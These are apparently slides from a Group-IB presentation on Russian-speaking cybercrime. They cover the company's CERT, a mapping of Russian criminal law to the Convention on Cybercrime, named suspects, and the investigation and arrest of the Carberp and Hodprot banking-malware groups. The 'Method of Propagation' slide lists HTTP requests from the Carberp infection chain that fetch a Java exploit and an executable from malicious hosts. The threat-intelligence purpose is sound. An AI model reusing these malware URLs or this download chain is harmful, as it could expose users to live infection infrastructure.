


Group-IB 

First 24/7 CERT in 

Eastern Europe 
CERT-GIB is the first 

private Computer 

Emergency Response 

Team in Russia.. 

Leader on the 

Russian market 
The first and only 

company in the CIS 

providing comprehensive 

services in investigating 

IT security incidents. 

Skolkovo resident 
The CyberCop project, an 

integrated system for 

counteracting cybercrime. 

 

2003 2010 2011 2011 

2012 
60+  

employees 

Service package 
Pre-incident consulting; 

Response; 

Forensics; 

Investigation; 

Legal support; 

Post-incident consulting. 

 

 

Group-IB is 
founded 

Acquisition 
by Leta Group 

International 
Expansion 

Creation of 
CERT-GIB  

Dedicated Certified 
Professionals 

Stages of Sustainable Solid Development 



A report on the results of a 

comprehensive study of the state of 

the Russian-speaking cybercrime 

market: 

 Financial performance 

estimates; 

 Analysis of the main trends and 

threats; 

 Overview of key events; 

 Legal aspects; 

 Forecasts. 

2011 Report 



 Russian Federation 

 CIS  

 Baltic states  

 Immigrants from former  

USSR  

Russian-Speaking Market 



Russian Cybercrime vs.  

Global Market 



GIB Matrix 



CERT-GIB 

First 24/7 CERT in 
Eastern Europe 
CERT-GIB is the first Eastern 
European 24/7 Computer 
Emergency Response Team, 
and the first private CERT in 
Russia (second overall)  

 

Around-the-clock geographical 
deployent  
Passing the relay for monitoring, 
analyzing, and mitigating:  
Europe  North America  Asia 
– for smooth uninterrupted 
incident handling 

Providing help and 
assistance for: 
Phishing, Spam, Scam, DDoS 
attacks, malware, and many 
other fraudulent schemes 

 

CERT-GIB: Europe, North America, Asia 

CERT-GIB 
New York:  

GMT-5 

.RU, .РФ, .SU: special 
emphasis 
Official ccTLD.ru-assigned 
expert organization for 
handling phishing, malware, 
and botnets 
 

 

CERT-GIB 
Moscow: 
GMT+4 

CERT-GIB 
Vladivostok: 
GMT+10 



Unique Expertise 



CERT-GIB Accreditation 

Authorized user of  

the “CERT” trademark 

Accreditation in progress 

TI-listed 



RUSSIAN  CRIMINAL 
LAW 

CONVENTION 
ON CYBERCRIME 

 

Harmony 

 



 

Harmony 

 

Article 2 – Illegal access 

Article 3 – Illegal interception 

Article 4 – Data interference 

Article 5 – System interference 

Article 6 – Misuse of devices 

Article 7 – Computer-related forgery 

Article 8 – Computer-related fraud 

Article 9 – Offences related to child 

pornography 

Article 10 – Offences related to 

infringements of copyright and related 

rights 

RUSSIAN  CRIMINAL 
LAW 

Article 138, 272, 274 

Article 138, 272, 274 

Article 272, 273, 274 

Article 272, 273, 274 

Article 138.1, 273 

Article 272, 273, 274 

Article 158-160, 165, 272, 273, 274 

Article 242.1, 242.2 

Article 146, 180 

CONVENTION 
ON CYBERCRIME 



CEO of Chronopay,  

a payment processing company 

Member of the Antispam Working 

Group at the Russian Ministry of 

Communication; 

Chairman of the Russian Committee on 

Electronic Commerce; 

Member of the Russian Association of 

Electronic Communications. 

 

Pavel Vrublevsky (RedEye) 



   aka  

RedEye 

Porn affiliation programs: 

cash.pornocruto.es 

etu-cash.com 
 

 

Pavel Vrublevsky (RedEye) 



Crutop.nu: the largest spammer forum 

Pavel Vrublevsky (RedEye) 



 

 

Pharmaceutical affiliate program:  

Rx-promotion.com  
 

Pavel Vrublevsky (RedEye)  



DDoS Attack on Assist  

Accused of organizing a DDoS attack 

on Assist, a payment processing 

company (Accused executor of the 

attack: Igor Artimovich) 



DDoS Attack on Assist  



   Accused of committing fraud, unauthorized 

access to computer information, and 

creating and distributing malware  

 

 

 

 

Maxim Glotov (Two-Face) 



Carberp Group 



GET http://rzd-rzd.ru/vb/ HTTP/1.1 

GET http://rzd-rzd.ru/vb/ HTTP/1.1 

GET http://rzd-rzdcomp.in/rzd5/buble.php?key=rtgddfg%26u=root HTTP/1.1 

GET http://rzd-rzdcomp.in/rzd5/buble.php?key=rtgddfg%26u=root HTTP/1.1 

GET http://3244923625/jb/av34v.class HTTP/1.1 

GET http://3244923625/jb/av34v.class HTTP/1.1 

GET http://3244923625/jb/av34v.class HTTP/1.1 

GET http://3244923625/jb/av34v.class HTTP/1.1 

GET http://3244923625/jb/av34v.class HTTP/1.1 

GET http://3244923625/jb/av34v.class HTTP/1.1 

GET http://rzd-rzdcomp.in/rzd5/exe.php?exp=newjava%26key=rtgddfg%26u=root HTTP/1.1 

GET http://rzd-rzdcomp.in/rzd5/exe.php?exp=newjava%26key=rtgddfg%26u=root;1 HTTP/1.1 

Method of Propagation 



Carberp Control Panel 



RDPdor Control Panel 



 Joint investigation in close cooperation with the 

FSB and MVD of the Russian Federation and 

FOX-IT; 

Results of the investigation is the detention of 

the criminal group (8 persons); 

World’s first case when the entire online-banking 

criminal chain was arrested. 

 

 

Results of the Investigation 



Hodprot Group 



Carberp Control Panel 



RDPdor Control Panel 



 Joint investigation in close 

cooperation with the MVD of the 

Russian Federation, Sberbank 

and ESET; 

Results of the investigation is 

the detention of the criminal 

group (6 persons). 

 

 

Results of the Investigation 



Conclusion 

 Two of six active groups arrested; 

 Remaining four groups are under investigation; 

 Law enforcement officials are becoming more interested in 
such crimes; 

 With proper support, at least three criminal groups can be 
neutralized within eight months; 

 We expect a surge in theft, including from individuals, in June 
and July 2012. 

 



Thank You! 






